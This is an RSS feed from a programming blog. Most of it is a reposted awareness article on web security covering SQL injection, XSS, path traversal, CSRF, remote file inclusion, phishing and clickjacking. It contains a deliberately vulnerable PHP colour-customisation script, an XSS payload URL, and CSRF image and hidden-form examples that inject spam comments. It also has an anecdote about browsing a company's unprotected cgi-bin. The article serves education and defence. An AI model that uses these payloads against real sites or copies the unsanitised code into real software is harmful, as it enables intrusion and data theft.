<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Programming Blog &#187; example</title>
	<atom:link href="http://www.neurosoftware.ro/programming-blog/tag/example/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.neurosoftware.ro/programming-blog</link>
	<description>Web development , php , ajax , symfony, framework, zend</description>
	<lastBuildDate>Thu, 18 Aug 2011 08:11:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>How to Combine Different Sceneries in Photoshop</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/photoshop/how-to-combine-different-sceneries-in-photoshop/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/photoshop/how-to-combine-different-sceneries-in-photoshop/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 10:44:17 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[photoshop]]></category>
		<category><![CDATA[broken glass]]></category>
		<category><![CDATA[combination]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[good combination]]></category>
		<category><![CDATA[man]]></category>
		<category><![CDATA[sceneries]]></category>
		<category><![CDATA[time]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/photoshop/how-to-combine-different-sceneries-in-photoshop/</guid>
		<description><![CDATA[Sometimes, when you find some nice sceneries, and you would like them to be arranged happening in the same time. This tutorial is such a good combination example to show a man holding a gun and a broken glass. It seems like two different scenes happening together. (View This Tutorial) Go to Source]]></description>
			<content:encoded><![CDATA[<div><a href="http://www.photoshoplady.com/photoshop-tutorial/how-to-combine-different-sceneries-in-photoshop/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/abca5_How-to-Combine-Different-Sceneries-in-Photoshop.jpg" /></a></div>
<p>Sometimes, when you find some nice sceneries, and you would like them to be arranged happening in the same time. This tutorial is such a good combination example to show a man holding a gun and a broken glass. It seems like two different scenes happening together.</p>
<p> (<a href="http://www.photoshoplady.com/photoshop-tutorial/how-to-combine-different-sceneries-in-photoshop/">View This Tutorial</a>)
<div>
<a href="http://feeds.feedburner.com/~ff/PhotoshopLady?a=AiiWRYKx0VE:AbMKwuoph5Y:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/abca5_PhotoshopLady?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/PhotoshopLady?a=AiiWRYKx0VE:AbMKwuoph5Y:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/abca5_PhotoshopLady?i=AiiWRYKx0VE:AbMKwuoph5Y:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/PhotoshopLady?a=AiiWRYKx0VE:AbMKwuoph5Y:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/abca5_PhotoshopLady?i=AiiWRYKx0VE:AbMKwuoph5Y:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/PhotoshopLady?a=AiiWRYKx0VE:AbMKwuoph5Y:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/abca5_PhotoshopLady?i=AiiWRYKx0VE:AbMKwuoph5Y:gIN9vFwOqvQ" border="0"></img></a>
</div>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/c1138_AiiWRYKx0VE" height="1" width="1" /><br />
<a href="http://feeds2.feedburner.com/PhotoshopLady">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/photoshop/how-to-combine-different-sceneries-in-photoshop/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How brain-amputated developers created the social media plague</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/how-brain-amputated-developers-created-the-social-media-plague/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/how-brain-amputated-developers-created-the-social-media-plague/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 02:30:17 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[content]]></category>
		<category><![CDATA[enlargement]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[gazillions]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[type]]></category>
		<category><![CDATA[type b]]></category>
		<category><![CDATA[viag]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/how-brain-amputated-developers-created-the-social-media-plague/</guid>
		<description><![CDATA[For example Twitter, where gazillions of bots [type A] follow other equally superfluous but nevertheless very busy bots [type B] that automatically generate 27% valuable content (links to p-nis enlargement tools) and 73% not exactly exciting girly chatter (breeding demand for cheap viag-a). Go to Source]]></description>
			<content:encoded><![CDATA[<p>For example Twitter, where gazillions of bots [type A] follow other equally superfluous but nevertheless very busy bots [type B] that automatically generate 27% valuable content (links to p-nis enlargement tools) and 73% not exactly exciting girly chatter (breeding demand for cheap viag-a).</p>
<p><a href="http://feedads.g.doubleclick.net/~a/s2OJVBQopGosEKWd1T1tyAhExUc/0/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/553d5_di" border="0"></img></a><br />
<a href="http://feedads.g.doubleclick.net/~a/s2OJVBQopGosEKWd1T1tyAhExUc/1/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/3d20e_di" border="0"></img></a></p>
<div>
<a href="http://feeds.sphinn.com/~ff/sphinn?a=zfW_P--D-OI:nFc6YWcjkNs:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/3d20e_sphinn?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.sphinn.com/~ff/sphinn?a=zfW_P--D-OI:nFc6YWcjkNs:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b9f75_sphinn?i=zfW_P--D-OI:nFc6YWcjkNs:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.sphinn.com/~ff/sphinn?a=zfW_P--D-OI:nFc6YWcjkNs:qj6IDK7rITs"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b9f75_sphinn?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.sphinn.com/~ff/sphinn?a=zfW_P--D-OI:nFc6YWcjkNs:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b9f75_sphinn?i=zfW_P--D-OI:nFc6YWcjkNs:gIN9vFwOqvQ" border="0"></img></a>
</div>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b9f75_zfW_P--D-OI" height="1" width="1" /><br />
<a href="http://feeds.sphinn.com/sphinn?format=xml">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/how-brain-amputated-developers-created-the-social-media-plague/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Web Security: Are You Part Of The Problem?</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/web-security-are-you-part-of-the-problem/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/web-security-are-you-part-of-the-problem/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 02:22:44 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[Don]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[ineffective web]]></category>
		<category><![CDATA[Jason Kottke]]></category>
		<category><![CDATA[Jeremiah Grossman]]></category>
		<category><![CDATA[letmein]]></category>
		<category><![CDATA[male enhancement]]></category>
		<category><![CDATA[mumbo jumbo]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[swiss army knife]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/web-security-are-you-part-of-the-problem/</guid>
		<description><![CDATA[&#160;&#160; Website security is an interesting topic and should be high on the radar of anyone who has a Web presence under their control. Ineffective Web security leads to all of the things that make us hate the Web: spam, viruses, identity theft, to name a few. The problem with Web security is that, as [...]]]></description>
			<content:encoded><![CDATA[<table width="650">
<tr>
<td width="650">
<div> <img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b5eeb_smashing-magazine-advertisement.gif" alt="Smashing-magazine-advertisement in Web Security: Are You Part Of The Problem?" border="0" /><br /> <a href="http://creatives.commindo-media.de/www/delivery/ck.php?zoneid=56" target="_blank"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/43892_avw.php?zoneid=56" border="0" alt=" in Web Security: Are You Part Of The Problem?" /></a>&nbsp;<a href="http://creatives.commindo-media.de/www/delivery/ck.php?zoneid=63" target="_blank"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/43892_avw.php?zoneid=63" border="0" alt=" in Web Security: Are You Part Of The Problem?" /></a>&nbsp;<a href="http://creatives.commindo-media.de/www/delivery/ck.php?zoneid=64" target="_blank"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/6a8a3_avw.php?zoneid=64" border="0" alt=" in Web Security: Are You Part Of The Problem?" /></a></div>
</td>
</tr>
</table>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/60371_spacer.gif" alt="Spacer in Web Security: Are You Part Of The Problem?" border="0" width="1" height="1" /></p>
<p><strong>Website security</strong> is an interesting topic and should be high on the radar of anyone who has a Web presence under their control. Ineffective Web security leads to all of the things that make us hate the Web: spam, viruses, identity theft, to name a few.</p>
<p>The problem with Web security is that, as important as it is, it is also very complex. I am quite sure that some of you reading this are already part of an network of attack computers and that your servers are sending out spam messages without you even knowing it. Your emails and passwords have been harvested and resold to people who think you need either a new watch, a male enhancement product or a cheap mortgage. Fact is, you are part of the problem and don&#8217;t know what you did to cause it.</p>
<p>The reason is that security experts don&#8217;t like to talk too much in public about what they do and where the issues lie; and sadly enough, they can also come across as arrogant in their views. This could be the result of people not taking security seriously and not following the most basic advice, such as using passwords that are clever, not &#8220;password&#8221; or &#8220;letmein.&#8221;</p>
<p>Another reason is those tutorials that show you how to &#8220;do something in five minutes&#8221; and conveniently neglect to mention the security implications of their advice. If it sounds too easy to be true, it probably is. A perfect example of this is PHP solutions that use a file for data storage and ask you to make it writable to the world. This is easy to implement, but it means that any spammer can write to this file.</p>
<p><strong>Disclaimer</strong>: the things we&#8217;ll talk about in this article today won&#8217;t make you a security expert, just as buying a Swiss Army knife won&#8217;t make you a locksmith or buying a whip won&#8217;t make you a lion tamer. The purpose here is to <strong>raise awareness</strong> and perhaps make some of that security mumbo-jumbo a bit more understandable to you.</p>
<h3>An Interesting Report On Web Security</h3>
<p>Web security company Cenzic released a report detailing trends and numbers related to Web security for the first and second quarters of 2009. A <a href="http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2009.pdf">PDF of the report is available</a>, and the numbers are telling:</p>
<p><a href="http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2009.pdf"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/01/4239939571_b7d3cddc83_o.gif" alt="4239939571 B7d3cddc83 O in Web Security: Are You Part Of The Problem?" /></a><br /><em><a href="http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2009.pdf">PDF: Web Vulnerabilities Q1/Q2 2009</a>.</em></p>
<p>Among the most serious vulnerabilities were path traversal, cross-site scripting, cross-site request forgery and SQL injection. Unmentioned are a newer threat, clickjacking, and a user interface issue called phishing. You may have to deal with all of these as a Web developer if you touch PHP and HTML, CSS and JavaScript. Even if you don&#8217;t use PHP, you could still cause a lot of problems. Even if you don&#8217;t touch code and simply design, you could be a great asset in this area. You could help make the Web safer by making security issues understandable to your users.</p>
<p>Let&#8217;s go through all of these things and explain what they are and do. The first thing you need to know, though, is how URIs work.</p>
<h3>URIs: The Main Way To Attack A Web Service</h3>
<p>The address of any document (i.e. file on the Internet) is its <a href="http://en.wikipedia.org/wiki/Uniform_Resource_Identifier">Uniform Resource Identifier</a> (URI). This is what you enter in the browser bar to access the document and what you embed into code to point to the document. For example, my website address is <code>http://icant.co.uk</code>, and the document you see when you open it in a browser is <code>http://icant.co.uk/index.php</code> (the server automatically redirects to that document). The logo image resides at the URI <code>http://icant.co.uk/iconslogo.png</code>, and the image of me pointing at you is on a totally different server and has the URI <code>http://farm4.static.flickr.com/3172/3041842192_5b51468648.jpg</code>.</p>
<p>All of these URIs are okay for you to access. Some URIs, though, contain information that should not be accessible to the outside world. For example, the <code>/etc/password</code> folder on a server contains password and user information that should not leak to the Internet.</p>
<p>Every URI can also contain parameters. These are instructions you can send to the script located at that URI and that are appended to the URI starting with a <code>?</code> and separated by ampersands. If you want to search for puppies on Google, for example, you can use the URI <code>http://www.google.com/search?q=puppies</code>, and if you want to begin your search after the first 50 results, you can use <code>http://www.google.com/search?q=puppies&#38;start=50</code>.</p>
<p>Normally, these parameters are not entered by end users but rather come from the HTML interface. If you look at the source code of the Google home page and get rid of the painful bits, you end up with the following form:</p>
<pre>&lt;form name=&quot;f&quot; action=&quot;/search&quot;&gt;
  &lt;input type=&quot;hidden&quot; value=&quot;en&quot; name=&quot;hl&quot;/&gt;
  &lt;input type=&quot;hidden&quot; value=&quot;hp&quot; name=&quot;source&quot;/&gt;
  &lt;input name=&quot;q&quot;/&gt;
  &lt;input type=&quot;submit&quot; name=&quot;btnG&quot;/&gt;
  &lt;input type=&quot;submit&quot; name=&quot;btnI&quot;/&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;aq&quot;/&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;oq&quot;/&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;aqi&quot;/&gt;
&lt;/form&gt;</pre>
<p>So in essence, this form sends the content of all of these fields to the URI <code>search</code> and appends them to that URI. This is how you end up with this,</p>
<pre>http://www.google.com/search?hl=en&#38;source=hp&#38;q=puppies&#38;aq=f&#38;oq=&#38;aqi=</pre>
<p>when you submit the form. Notice, for instance, that I have no <code>btnG</code> parameter because I used the <em>Enter</em> key to submit the form.</p>
<p>On the search results page, you can see the pagination links at the bottom (the <em>1 2 3</em> and so on under the <em>Gooooooogle</em> logo), and you can see that these links send the same data to the URI and add a <code>start</code> parameter:</p>
<pre>&lt;a href=&quot;/search?hl=en&amp;amp;q=puppies&amp;amp;<strong>start=40</strong>&amp;amp;sa=N&quot;&gt;5&lt;/a&gt;</pre>
<p>You can send parameters to a script with the URI via form fields, links or any other thing in HTML that contains a URI: images, link elements, frames, anything that can take an <code>href</code> or <code>src</code> attribute. If an attacker can override any of these or add a new image to your HTML without you knowing it, they could point to their own URIs and send their own parameters.</p>
<p>You have to be careful with what your parameters contain and where they point to, which could be someone else&#8217;s server (to get more code) or sections of your own server that you don&#8217;t want to show or send to another server.</p>
<h3>Different Types Of Attacks. What Do These Words Mean?</h3>
<p>Let&#8217;s quickly go through the different items mentioned in the graph above, explaining what they are and what they mean.</p>
<h4>SQL Injection</h4>
<p>With an <a href="http://unixwiz.net/techtips/sql-injection.html">SQL injection</a>, an attacker accesses your database by sending an SQL command to your server via the URI or form fields. This is easily worked around by <a href="http://en.wikipedia.org/wiki/SQL_injection">sanitizing</a>, but neglecting to do so can be fatal for your website, as the following <a href="http://xkcd.com/327/">XKCD comic</a> shows:</p>
<p><a href="http://xkcd.com/327/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/14253_exploits_of_a_mom.png" alt="Exploits Of A Mom in Web Security: Are You Part Of The Problem?" /></a><br /><em><a href="http://xkcd.com/327/">XKCD comic</a> showing how SQL injection would delete a database.</em></p>
<h4>Cross-Site Scripting (XSS)</h4>
<p>Cross-site scripting is probably the biggest and most common problem. With it, an attacker injects JavaScript code into your document by adding it to the end of the URI as a parameter or in a form field.</p>
<p>Say you want to be cool and allow visitors to customize certain colors on your page. You could do this easily in PHP:</p>
<pre>&lt;?php
  // predefine colors to use
  $color = &#x27;white&#x27;;
  $background = &#x27;black&#x27;;
  // if there is a parameter called color, use that one
  if(isset($_GET[&#x27;color&#x27;])){
    $color = $_GET[&#x27;color&#x27;];
  }
  // if there is a parameter called background, use that one
  if(isset($_GET[&#x27;background&#x27;])){
    $background = $_GET[&#x27;background&#x27;];
  }
?&gt;

&lt;style type=&quot;text/css&quot; media=&quot;screen&quot;&gt;
  #intro{
    /* color is set by PHP */
    color:&lt;?php echo $color;?&gt;;
    /* background is set by PHP */
    background:&lt;?php echo $background;?&gt;;
    font-family:helvetica,arial,sans-serif;
    font-size:200%;
    padding:10px;
  }
&lt;/style&gt;

&lt;p id=&quot;intro&quot;&gt;Cool intro block, customizable, too!&lt;/p&gt;</pre>
<p>So far, everything&#8217;s kosher, and we&#8217;re not even using inline styles! If you save this now as <em>test.php</em> and call it on your server in your browser as the URI <code>http://example.com/test.php</code>, you will get a text intro block that is black on white. The <code>$_GET[]</code> variables come from the URI as parameters, and because they are not set, nothing changes. If you want the colors to be red on pink, you can do this: <code>http://example.com/test.php?color=red&#38;background=pink</code>.</p>
<p>But because you allow any value for the variables, an attacker could send the following:</p>
<pre>http://example.com/test.php?color=green&amp;background=&lt;/style&gt;&lt;script&gt;alert(String.fromCharCode(88,83,83))&lt;/script&gt;</pre>
<p>This would effectively close the style block prematurely and add a script to the document. In this case, all we would be doing is writing out the word XSS, but we could do anything that a JavaScript is allowed to do. You can see the results in the following screenshot:</p>
<p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/01/4242086213_c3a9fae808_o.jpg"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/fd485_xss.jpg" alt="Xss in Web Security: Are You Part Of The Problem?" width="550" height="368" /></a><br /><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/01/4242086213_c3a9fae808_o.jpg">Large view</a></p>
<p>Once you have successfully injected JavaScript, you will be able to read out cookies; open forms that ask the user to enter their passwords or credit card details; execute viruses, worms and &#8220;drive-by downloads&#8221;; the lot. The reason is that JavaScript is not bound by any security model; any script on the page has the same rights, no matter which server it has come from. This is a big security problem with JavaScript and is something clever people are working on.</p>
<p>XSS is a very common problem. Websites such as <a href="http://xssed.org/">XSSED.org</a> have a field day showing the world just how many websites are vulnerable:</p>
<p><a href="http://xssed.org/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/fd485_xssed.jpg" width="550" height="389" alt="Xssed in Web Security: Are You Part Of The Problem?" /></a></p>
<p>The remedy for XSS is to be very paranoid about anything that comes via forms or the URI. You also need to be sure that your PHP is set up properly (we&#8217;ll come back to some ways to test for that and to write good code later on).</p>
<h4>Path Traversal</h4>
<p>Allowing for path or directory traversal on your server is an amazingly bad idea. You would be allowing people to list the folders on your server and to navigate from folder to folder. This allows attackers to go to folders with sensitive information or website functionality and have some fun. The following screenshot is of me accessing the database of a sandwich company, sending emails from their server and reading the order logs:</p>
<p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/01/menu-management.gif"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/1bdd1_path.jpg" alt="Path in Web Security: Are You Part Of The Problem?" /></a><br /><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/01/menu-management.gif">Large view</a></p>
<p>I was able to get all of this information simply by accessing the <em>cgi-bin</em> folder, which was unprotected from being listed. So, instead of going to <code>http://example.com</code>, I went to <code>http://example.com/cgi-bin/</code> in my browser. I knew something was wrong on their big Flash website when I clicked on the menu. It popped up in a new window and had a URI like</p>
<pre>http://www.example.com/cgi/food_db/db.cgi?db=default&#38;uid=default&#38;Category=Sandwiches&#38;Subcategory=Sandwiches&#38;Product=Chicken%20and%20Bacon&#38;Soup_size=&#38;Drinks_milk_type=&#38;ww=on&#38;view_records=yes</pre>
<p>which gave me all the information I needed to play around.</p>
<p>The other problem of allowing folders to be listed is that search engines will index your information, allowing anyone to use Google as a hacking tool. As servers create a page with a title and a headline of the folder name, these are indexed by Google.</p>
<p>You could <a href="http://www.google.com/search?hl=en&amp;q=%22index+of+%2Febooks%22">search for, say, &#8220;index of /ebooks&#8221;</a> to find electronic books online or <a href="http://www.google.com/search?hl=en&amp;q=%22index+of+%2Fphotos%22">&#8220;index of /photos&#8221;</a> to find photos. To see search tests such as this one, check out the <a href="http://gray-world.net/etc/passwd/googletut1.txt">Google a Dream Come True</a> article, which listed many of them in 2003(!).</p>
<p>This method of searching worked much better in the past, by the way: not because people protect their servers better now, but because spammers who offer fake pirated products realize that people do these searches and fake it now to optimize their own websites&#8217; search engine rankings.</p>
<h4>Cross-Site Request Forgery</h4>
<p><a href="http://en.wikipedia.org/wiki/Csrf">Cross-site request forgery</a> (CSRF) exploits browsers and websites that allow for functionality to be called without really knowing that an actual user initiated it. Say you have a form on your website <code>http://example.com</code> that works with GET and sends things to your database:</p>
<pre>&lt;form method=&quot;get&quot; action=&quot;add_to_db.php&quot;&gt;
  &lt;div&gt;
    &lt;label for=&quot;name&quot;&gt;Name&lt;/label&gt;
    &lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot;&gt;
  &lt;/div&gt;
  &lt;div&gt;
    &lt;label for=&quot;email&quot;&gt;email&lt;/label&gt;
    &lt;input type=&quot;text&quot; id=&quot;email&quot; name=&quot;email&quot;&gt;
  &lt;/div&gt;
  &lt;div&gt;
    &lt;label for=&quot;comment&quot;&gt;Comment&lt;/label&gt;
    &lt;textarea id=&quot;comment&quot; name=&quot;comment&quot;&gt;&lt;/textarea&gt;
  &lt;/div&gt;
  &lt;div&gt;&lt;input type=&quot;submit&quot; value=&quot;tell me more&quot;&gt;&lt;/div&gt;
&lt;/form&gt;</pre>
<p>Forms can be sent by two methods: GET adds all of the parameters to the URI visibly in the address bar, whereas POST sends them &#8220;under the hood.&#8221; POST also allows you to send much more data. This is a simplification but all you need to know for now.</p>
<p>If the script that adds to the database doesn&#8217;t check that the form was really sent from your server, I could add an image to any website by doing this:</p>
<pre>&lt;img src="http://example.com/add_to_db.php?
name=cheap%20rolex&#38;email=susan@hotchicks.com&#38;comment=mortgage%20help" width="1" height="1"&gt;</pre>
<p>Anybody coming to my website would now be putting another comment into your database. I could use an image or CSS link or script or anything that allows for a URI to be defined and loaded by a browser when the HTML renders. In CSS, this could be a background image.</p>
<p>CSRF becomes even more dangerous when you are logged into and authenticated by a particular system. An image in any other tab in your browser could execute a money transfer, read your emails and send them on and many other evil things.</p>
<p>A really interesting case of CSRF (albeit an innocent one) occurred in 2006, when Google released its now discontinued <a href="http://webaccelerator.google.com/">Web accelerator tool (GWA)</a>. The idea was to pre-fetch websites that were linked to from the current document, thus making surfing faster. All well and good&#8230; until you ended up with delete links in websites that worked like this:</p>
<pre>&lt;a href="/app/delete_entry.php?id=12"&gt;delete&lt;/a&gt;</pre>
<p>Because some applications did not check if this was an initiated deletion or an attempt of GWA to pre-load the page, the tool deleted whole blogs and product databases. Google did nothing wrong, but the community learned a lot about CSRF that day.</p>
<p>Now, you might suppose that moving your forms from GET to POST would make them safe, right? Partially, yes, but an attacker could still use a form and trick people into clicking a button to make the request:</p>
<pre>&lt;form method=&quot;post&quot; action=&quot;add_to_db.php&quot;&gt;
  &lt;div&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;name&quot; value=&quot;bob&quot;&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;bob@experts.com&quot;&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;comment&quot;
           value=&quot;awesome article, buy cialis now!&quot;&gt;
  &lt;input type=&quot;submit&quot; value=&quot;see beautiful kittens now!&quot;&gt;
  &lt;/div&gt;
&lt;/form&gt;</pre>
<p>You could even use JavaScript to automatically send the form or a script on another server to do the POST request from the back-end. There are many ways to exploit CSRF, and <a href="http://php-ids.org/category/csrfx/">protecting against it is not that hard</a>.</p>
<h4>Remote File Inclusion (RFI)</h4>
<p>With <a href="http://en.wikipedia.org/wiki/Remote_File_Inclusion">Remote file inclusion</a> or <a href="http://en.wikipedia.org/wiki/Code_injection">code injection</a>, an attacker uses a flaw in your website to inject code from another server to run on yours. It is in the same family as XSS but much more problematic because you have full access to your server (with JavaScript, you can steal cookies and call other code, but you can&#8217;t access the file system without resorting to tricks with Flash or Java Applets).</p>
<p>Any code injected to your server with an untested variable and <code>include()</code> command, for example, could run server commands: upload and download and transfer data to other servers, check your server passwords and user names, anything you can do on the command line via PHP or ASP if your server allows for it.</p>
<p>This is probably the worst that can happen to your server, because with command line access, I could turn it into an attack machine for a server network attack, silently listen to everything you and your users do on the server and send it to another Web resource, store information and viruses for distribution, inject spam links, you name it.</p>
<p>The workaround is to turn off <code>globals</code> and to never <em>ever</em> assemble a URI from parameter or form data. (More on that later in the PHP section of the tips.)</p>
<h4>Phishing</h4>
<p><a href="http://en.wikipedia.org/wiki/Phishing">Phishing</a> is the technique of fooling people into entering information into a bad website. You show end users an interface that looks legit (for a bank or what have you) but that in reality sends their information to your database. Because phishing is a felony, I cannot show you a demo.</p>
<p>The trick with phishing is to make the form really look like it comes from a website you trust. You have probably gotten emails saying that your &#8220;XYZ bank account&#8221; has been compromised, and you know for certain that this isn&#8217;t the case because you have no account with that bank and may not have even heard of it. This is a wild-guess phishing attempt, which is not usually effective.</p>
<p>On the Web, though, an attacker can perform a JavaScript trick to find out where you&#8217;ve been. As <a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html">Jeremiah Grossman showed some years ago</a>, you can use JavaScript to determine the state of a link on the page. Because the colors of visited and unvisited links are different, we can use this technique to figure which websites a user has been to and then display the appropriate logo above the form. <a href="http://www.debugtheweb.com/test/cssvisited.htm">This demo shows this quite effectively</a>. Funny enough, you can also use this trick for good; for example, by <a href="http://www.azarask.in/blog/post/socialhistoryjs/">showing people only the buttons of social media websites they use</a>.</p>
<h4>Clickjacking</h4>
<p><a href="http://en.wikipedia.org/wiki/Clickjacking">Clickjacking</a> is a terribly clever way to use CSS and inline frames to trick users into clicking something without knowing it. Probably the most famous example of this was the &#8220;Don&#8217;t click me&#8221; exploit of Twitter a few months ago. All of a sudden, Twitter was full of messages pointing to a website with a button that read &#8220;Don&#8217;t click me&#8221;. Here is an examples for Jason Kottke&#8217;s stream:</p>
<p><a href="http://dsandler.org/wp/archives/2009/02/12/dontclick"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/1bdd1_dontclick.jpg" width="453" height="143" alt="Dontclick in Web Security: Are You Part Of The Problem?" /></a><br /><em><a href="http://dsandler.org/wp/archives/2009/02/12/dontclick">Twitter’s “Don’t Click” prank, explained</a></em></p>
<p>Human nature being what it is, many people clicked the button, which seemingly did nothing. What it actually did, though, was put your Twitter home page on top of the button as a frame, with an opacity of 0 in the CSS. The update field was pre-set with the tweet pointing to the page. The following screenshot makes this obvious, with the opacity set here to 0.5:</p>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/1bdd1_clickjacking1.jpg" width="609" height="308" alt="Clickjacking1 in Web Security: Are You Part Of The Problem?" /></p>
<p>By clickjacking, you can make end users do things without knowing it. Every action on a website that can be performed with a simple click can be exploited with this trick.</p>
<p>Clickjacking is a massive problem because it is done via CSS, not a script. Unless browsers block frames from having an opacity of 0, there is no simple workaround. The main counter-measure people take is to disallow embedding in frames using JavaScript. However, with JavaScript off, clickjacking still works.</p>
<h3>Basic Ways To Increase Web Security</h3>
<p>Now that you know a bit about what can be done to your website by the bad guys, here are some ways to fight them off.</p>
<h4>Keep Code Up to Date</h4>
<p>There is no better protection than keeping your code up to date. Outdated versions of WordPress, old installs of PHP and MySQL, even old browsers, all of these are security issues because most updates to software these days are security patches. It is a rat race between those who want the Web to work and those who want to abuse it to make a quick buck or to steal your identity. So please help the good guys by upgrading whenever a new version is out.</p>
<h4>Don&#8217;t Stay Logged In, and Don&#8217;t Entice Others to Either</h4>
<p>Staying logged in while not using a system is dangerous. Other websites you surf to can check that you are logged in and then clickjack you to make you do something you don&#8217;t mean to or aren&#8217;t aware of. This is especially dangerous with social media because everything you do will be sent to all your friends and probably replicated by them. It is a snowball effect.</p>
